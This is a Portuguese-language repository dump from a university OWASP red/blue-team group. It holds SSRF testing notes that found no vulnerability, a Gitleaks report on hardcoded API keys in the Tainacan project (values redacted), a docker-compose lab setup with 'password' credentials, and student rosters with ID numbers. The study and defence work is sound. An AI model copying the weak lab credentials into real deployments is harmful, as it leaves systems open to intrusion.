________________________________________________ 67 | 68 | :: Progress: [6477/6477] :: Job [1/1] :: 28 req/sec :: Duration: [0:04:33] :: Errors: 0 :: 69 | ``` 70 | 71 | ### Teste com Burp Suite 72 | 73 | Para identificar SSRFs, utilizamos o **Burp Suite**, uma ferramenta especializada em analisar e manipular o tráfego de rede. Com ela fizemos a verificação das requisições enviadas ao servidor pelo cliente. 74 | 75 | Algumas das requisições que verificamos foram: 76 | * Login e logout; 77 | * Visualização das listas de unidades consumidoras, suas tarifas e dados do usuário; 78 | * Edição de dados do usuário; 79 | * Criação e modificação de unidades consumidoras; 80 | * Criação e modificação de tarifas de unidades consumidoras; 81 | 82 |
83 | 84 | ![Testes com Burp Suite - 01](../imagens/burpSuite01.png) 85 | 86 | ![Testes com Burp Suite - 02](../imagens/burpSuite02.png) 87 | 88 | ![Testes com Burp Suite - 03](../imagens/burpSuite03.png) 89 | 90 |
91 | 92 | **Nenhuma vulnerabilidade foi descoberta** como resultado de nossos testes. Entretanto, isso não significa que uma vulnerabilidade não exista, pois nossos testes não abrangeram 100% das possíveis requisições que um usuário pode realizar. 93 | 94 | 95 | ## Dificuldades encontradas 96 | 97 | * Determinar quais pontos da aplicação são, de fato, suscetíveis à exploração de SSRF. 98 | * Dificuldade inicial em entender como processar as informações que o **Burp Suite** apresenta, diferenciando aquelas que realmente podem levar a uma vulnerabilidade de outras informações. 99 | 100 | ## Próximos passos 101 | 102 | * Aprofundar a análise de possíveis pontos vulneráveis. 103 | * Realizar mais testes práticos de SSRF utilizando ferramentas especializadas, como **SSRFmap** e **Burp Suite**, para ter certeza que não há tal vulnerabilidade. 104 | * Iniciar o estudo sobre Insecure Direct Object References (IDOR). 105 | -------------------------------------------------------------------------------- /2025.1/Tainacan/BlueTeam/Relatorios/sprint_2/Relatorio2.md: -------------------------------------------------------------------------------- 1 | 2 | # Relatório de segurança sobre a exposição de credenciais sensíveis (Sprint 2) 3 | 4 | ## Objetivo 5 | 6 | Este relatório apresenta uma análise do projeto Tainacan quanto a senhas, informações sensíveis ou quaisquer dados semelhantes que possam comprometer a segurança do sistema. O documento abrange a análise manual e descobertas recentes obtidas com o uso da ferramenta **Gitleaks**, que escaneia todo o histórico do repositório em busca de segredos. 7 | 8 | ## 1. Análise dos arquivos referêntes ao workflow 9 | 10 | ### 1.1 Análise do arquivo `/workflows/test.yml` 11 | 12 | - **Sem exposição de chaves de API ou tokens**. 13 | - **Sem uso de senhas hardcoded diretamente no arquivo**. 14 | 15 | ### 1.2 Análise do script `install-wp-tests.sh` 16 | 17 | - **As credenciais (DB_NAME, DB_USER, DB_PASS)** são recebidas via argumentos, e não hardcoded. 18 | 19 | ### 1.3 Riscos e Oportunidades de Melhoria 20 | 21 | ```plaintext 22 | - Descrição: A senha do banco é passada como argumento do script ($3) e, posteriormente, usada diretamente no comando 23 | mysqladmin --password=..., o que a torna visível em ferramentas como ps, no histórico de shell ou em logs de CI/CD. 24 | - Risco: Exposição de senha por argumentos de linha de comando e comandos internos 25 | - Recomendação: Evitar o uso de senhas como argumento ou diretamente nos comandos. 26 | Preferir o uso de variáveis de ambiente seguras. Armazenar a senha em um arquivo de configuração fora do 27 | versionamento (como .env). 28 | ``` 29 | 30 | ## 2. Uso do Gitleaks para Detecção de Segredos 31 | 32 | ### 2.1 O que é o Gitleaks? 33 | 34 | - Ferramenta open-source para detectar **segredos, tokens, chaves de API, senhas, e outras informações sensíveis** em repositórios Git. 35 | - Pode escanear tanto os arquivos atuais quanto o **histórico completo de commits**, encontrando segredos mesmo que tenham sido removidos posteriormente. 36 | 37 | ### 2.2 Como o Gitleaks funciona? 38 | 39 | - **Escaneia todo o histórico Git por padrão**: percorre cada commit, analisando cada arquivo naquela versão. 40 | - Isso significa que segredos expostos em commits antigos **serão reportados mesmo que não existam mais no código atual**. 41 | - Também pode rodar em modo “snapshot” para analisar apenas o estado atual dos arquivos. 42 | 43 | ### 2.3 Resultados do Scan no Repositório 44 | 45 | - Foram encontrados **4 leaks** no histórico, incluindo: 46 | - Chaves genéricas de API hardcoded. 47 | ```plaintext 48 | - File: src/classes/importer/class-tainacan-flickr-importer.php 49 | - Linha: 13 50 | - Leak: apiKeyValue = 'xxxxxxxxxxx' 51 | - Commit: Ainda presente no repositório atual e encontrado nos commits: 47ea0d6a16f62cc369d0db9fc7853add2652a4c7 e 5415ef525b2d28d77efd864f2f496061785e78a7 52 | - Descrição: Essa chave é usada para acessar os serviços da API pública do Flickr. 53 | Apesar de APIs públicas como essa parecerem inofensivas à primeira vista, manter a chave embutida diretamente no 54 | código-fonte público pode trazer problemas, especialmente se a conta estiver associada a funcionalidades 55 | avançadas ou integradas com credenciais adicionais. 56 | - Riscos: Uso indevido por terceiros, que podem consumir a cota da API, resultando em indisponibilidade para os usuários legítimos. 57 | Associação reputacional, com qualquer uso malicioso da chave (como para scraping ou spam) podendo recair sobre o titular da conta Flickr, 58 | impactando negativamente a reputação do projeto. 59 | ``` 60 | - Chave de API do Google Cloud Platform (GCP). 61 | ```plaintext 62 | - File: src/classes/importer/class-tainacan-youtube-importer.php 63 | - Linha: 27 64 | - Leak: 'xxxxxxxxxxxx' 65 | - Commit: c1603aa9c1c2663e75e2ea5640485248b9df15c0 66 | - Descrição: Essa chave pertence aos serviços da Google Cloud, provavelmente usada para a API do YouTube. 67 | Embora muitas dessas chaves tenham restrições de domínio ou IP, ao estarem publicadas, ficam sujeitas a engenharia reversa, 68 | scraping automatizado e abusos por terceiros. 69 | - Riscos: Consumo indevido de cotas da API, gerando custos para o projeto. Possível uso para coleta de dados de forma automatizada e indevida 70 | (ex: vídeos, estatísticas). Se não estiver limitada por IP ou domínio, pode ser usada para ataques de negação de serviço (DoS) ou atividades ilícitas. 71 | ``` 72 | - Token em script shell. 73 | ```plaintext 74 | - File: tainacam/run-cypress.sh 75 | - Linha: 16 76 | - Leak: cy_record_key='xxxxxxxxxxxxx' 77 | - Commit: a4bf702203087dcc99455101df9a67ab6507e3ab 78 | - Descrição: Trata-se de uma chave genérica que parece ser usada em testes automatizados com Cypress (cy_record_key). 79 | Mesmo se usada apenas em ambientes de desenvolvimento, essa chave também deve ser mantida fora do repositório. 80 | - Riscos: Possível acesso por terceiros aos resultados de testes, logs ou falhas internas. 81 | Exposição de pipelines de testes ou comportamento da aplicação em execução. 82 | ``` 83 | 84 | ### 2.4 O que o relatório do Gitleaks mostra? 85 | 86 | - O relatório **exibe o trecho exato encontrado, o arquivo, linha, commit e autor do commit**. 87 | - Mostra detalhes como o tipo de segredo detectado, para facilitar a análise. 88 | - Não é apenas um indicativo de arquivo suspeito, ele mostra exatamente o conteúdo que foi considerado leak. 89 | 90 | ## 3. Conclusão Geral 91 | 92 | - O histórico Git contém registros de segredos sensíveis que devem ser tratados para evitar exposição, além de senhas que ainda estão presentes no repositório atual. 93 | - Passar credenciais via argumentos no script pode representar riscos adicionais. 94 | -------------------------------------------------------------------------------- /2025.1/Tainacan/RedTeam/readme.md: -------------------------------------------------------------------------------- 1 | # Como iniciar os ataques locais? 2 | 3 | Crie uma estrutura de pasta e arquivos em seu computador como a seguir 4 | ``` 5 | ./ 6 | ├── wp-content/ 7 | └── docker-compose.yml 8 | ``` 9 | 10 | Dentro do arquivo `docker-compose.yml` insira: 11 | ```yml 12 | version: "3.6" 13 | 14 | services: 15 | wordpress: 16 | image: wordpress:latest 17 | container_name: wordpress 18 | volumes: 19 | - ./wp-content:/var/www/html/wp-content 20 | environment: 21 | - WORDPRESS_DB_NAME=wordpress 22 | - WORDPRESS_TABLE_PREFIX=wp_ 23 | - WORDPRESS_DB_HOST=db 24 | - WORDPRESS_DB_USER=root 25 | - WORDPRESS_DB_PASSWORD=password 26 | depends_on: 27 | - db 28 | - phpmyadmin 29 | restart: always 30 | ports: 31 | - 8080:80 32 | 33 | db: 34 | image: mariadb:latest 35 | container_name: db 36 | volumes: 37 | - db_data:/var/lib/mysql 38 | environment: 39 | - MYSQL_ROOT_PASSWORD=password 40 | - MYSQL_USER=root 41 | - MYSQL_PASSWORD=password 42 | - MYSQL_DATABASE=wordpress 43 | restart: always 44 | 45 | phpmyadmin: 46 | depends_on: 47 | - db 48 | image: phpmyadmin/phpmyadmin:latest 49 | container_name: phpmyadmin 50 | restart: always 51 | ports: 52 | - 8180:80 53 | environment: 54 | PMA_HOST: db 55 | MYSQL_ROOT_PASSWORD: password 56 | 57 | volumes: 58 | db_data: 59 | ``` 60 | 61 | Agora basta rodar o comando em seu terminal 62 | ```bash 63 | docker compose up 64 | ``` 65 | 66 | Entrar na url http://localhost:8080, configurar o servidor wordpress e instalar na aba de plugins o tainacan e partir para o ataque 67 | -------------------------------------------------------------------------------- /2025.1/readme.md: -------------------------------------------------------------------------------- 1 | # 2025.1 2 | ## Projetos 3 | * [MEPA](https://gitlab.com/lappis-unb/projetos-energia) 4 | * [Tainacan](https://github.com/tainacan/tainacan) 5 | * [Empurrando Juntas](https://gitlab.com/pencillabs/ej/ej-application) 6 | 7 | ## Red Team Subgrupos 8 | 9 | ## Sub-grupo 1 - Tainacan 10 | 1. **Cauã Matheus Alves Corrêa** - 211031673 - [@CauaMatheus](https://github.com/CauaMatheus) 11 | 2. **Christian Hirsch Santos** - 211045113 - [@crstyhs](https://github.com/crstyhs) 12 | 3. **Gustavo Kenzo Araki Takechi** - 211029343 - [@gustavokenzo1](https://github.com/gustavokenzo1) 13 | 14 | ## Sub-grupo 2 - MEPA 15 | 1. **Luis Henrique Luz Costa** - 180066161 - [@luishenrrique](https://github.com/luishenrrique) 16 | 2. **João Matheus de Oliveira Schmitz** - 200058525 - [@JoaoSchmitz](https://github.com/JoaoSchmitz) 17 | 3. **Carlos Eduardo Rodrigues** - 221031265 - [@Carlos-kadu](https://github.com/Carlos-kadu) 18 | 4. **Vinicius Edwardo Pereira Oliveira** - 160147816 - [@viniciused26](https://github.com/viniciused26) 19 | 20 | ## Sub-grupo 3 - EJ 21 | 1. **Joel Soares Rangel** - 211039546 - [@JoelSRangel](https://github.com/JoelSRangel) 22 | 2. **Lucas Soares Barros** - 202017700 - [@lucaaassb](https://github.com/lucaaassb) 23 | 3. **Lucas Caldas Barbosa de Souza** - 190091606 - [@lucascaldasb](https://github.com/lucascaldasb) 24 | 25 | --- 26 | 27 | ## Blue Team Subgrupos 28 | 29 | ## Sub-grupo 1 - Tainacan 30 | 1. **Luciano de Freitas Melo** - 202016847 - [@luciano-freitas-melo](https://github.com/luciano-freitas-melo) 31 | 2. **Pedro Augusto Dourado Izarias** - 202016847 - [@Izarias](https://github.com/Izarias) 32 | 33 | ## Sub-grupo 2 - MEPA 34 | 1. **Ricardo Augusto Valle Maciel** - 180077899 - [@avmricardo](https://github.com/avmricardo) 35 | 2. **Mateus Orlando Medeiros Ribeiro** - 211062259 - [@MateusPy](https://github.com/MateusPy) 36 | 3. **Danilo Carvalho Antunes** - 211039312 - [@Danilo-Carvalho-Antunes](https://github.com/Danilo-Carvalho-Antunes) 37 | 38 | ## Sub-grupo 3 - EJ 39 | 1. **Arthur Gabriel Lima Gomes** - 200054333 - [@ArthurGabrieel](https://github.com/ArthurGabrieel) 40 | 2. **Caio Berg Carlos Leite** - 200015753 - [@Caio-bergbjj](https://github.com/Caio-bergbjj) 41 | 3. **Thiago Ribeiro Freitas** - 200028154 - [@thiagorfreitas](https://github.com/thiagorfreitas) 42 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # OWASP - GCES 2 | --- 3 | 4 | ## Sobre 5 | 6 | Este é o repositório do grupo do [Open Worldwide Application Security Project - OWASP](https://owasp.org/about/). 7 | 8 | 9 | ## Trilhas de estudo 10 | --- 11 | 12 | ## Red Team (Time de Ataque) 13 | 14 | ### Módulos Recomendados - Hack The Box Academy 15 | 16 | 1. [Getting Started](https://academy.hackthebox.com/module/details/77) 17 | 2. [Network Enumeration with Nmap](https://academy.hackthebox.com/module/details/19) 18 | 3. [SQL Injection Fundamentals](https://academy.hackthebox.com/module/details/33) 19 | 4. [SQLMap Essentials](https://academy.hackthebox.com/module/details/58) 20 | 5. [Attacking Web Applications with Ffuf](https://academy.hackthebox.com/module/details/54) 21 | 6. [Cross-Site Scripting (XSS)](https://academy.hackthebox.com/module/details/103) 22 | 7. [Command Injections](https://academy.hackthebox.com/module/details/109) 23 | 8. [Web Attacks](https://academy.hackthebox.com/module/details/134) 24 | 9. [API Attacks](https://academy.hackthebox.com/module/details/268) 25 | 10. [Web Service & API Attacks](https://academy.hackthebox.com/module/details/160) 26 | 11. [Attacking GraphQL](https://academy.hackthebox.com/module/details/271) 27 | 12. [File Upload Attacks](https://academy.hackthebox.com/module/details/136) 28 | 13. [Server-side Attacks](https://academy.hackthebox.com/module/details/145) 29 | 14. [Session Security](https://academy.hackthebox.com/module/details/153) 30 | 15. [Shells & Payloads](https://academy.hackthebox.com/module/details/115) 31 | 32 | Após a conclusão disto, siga o Pentester Path de acordo as necessidades da equipe. 33 | 34 | ### Observação 35 | 36 | - Para quem ainda não criou uma conta: [Crie sua conta aqui](https://referral.hackthebox.com/mzwMdWZ) 37 | 38 | --- 39 | 40 | ## Blue Team (Time de Defesa) 41 | 42 | ### Caminhos Recomendados - TryHackMe 43 | 44 | 1. [Pre Security](https://tryhackme.com/r/path/outline/presecurity) 45 | 2. [DevSecOps](https://tryhackme.com/r/path/outline/devsecops) 46 | 3. **(Opcional, caso reste tempo)** [Security Engineer Training](https://tryhackme.com/r/path/outline/security-engineer-training) 47 | 48 | 49 | ### Observação 50 | 51 | - [Desconto estudantil disponível](https://help.tryhackme.com/en/articles/6494960-student-discount) 52 | 53 | 54 | ## Referências Bibliográficas 55 | 56 | - **Hack The Box Academy** 57 | Disponível em: [https://academy.hackthebox.com](https://academy.hackthebox.com) 58 | 59 | - **PortSwigger Academy** 60 | Disponível em: [https://portswigger.net/web-security](https://portswigger.net/web-security) 61 | 62 | - **TryHackMe** 63 | Disponível em: [https://tryhackme.com](https://tryhackme.com) 64 | --------------------------------------------------------------------------------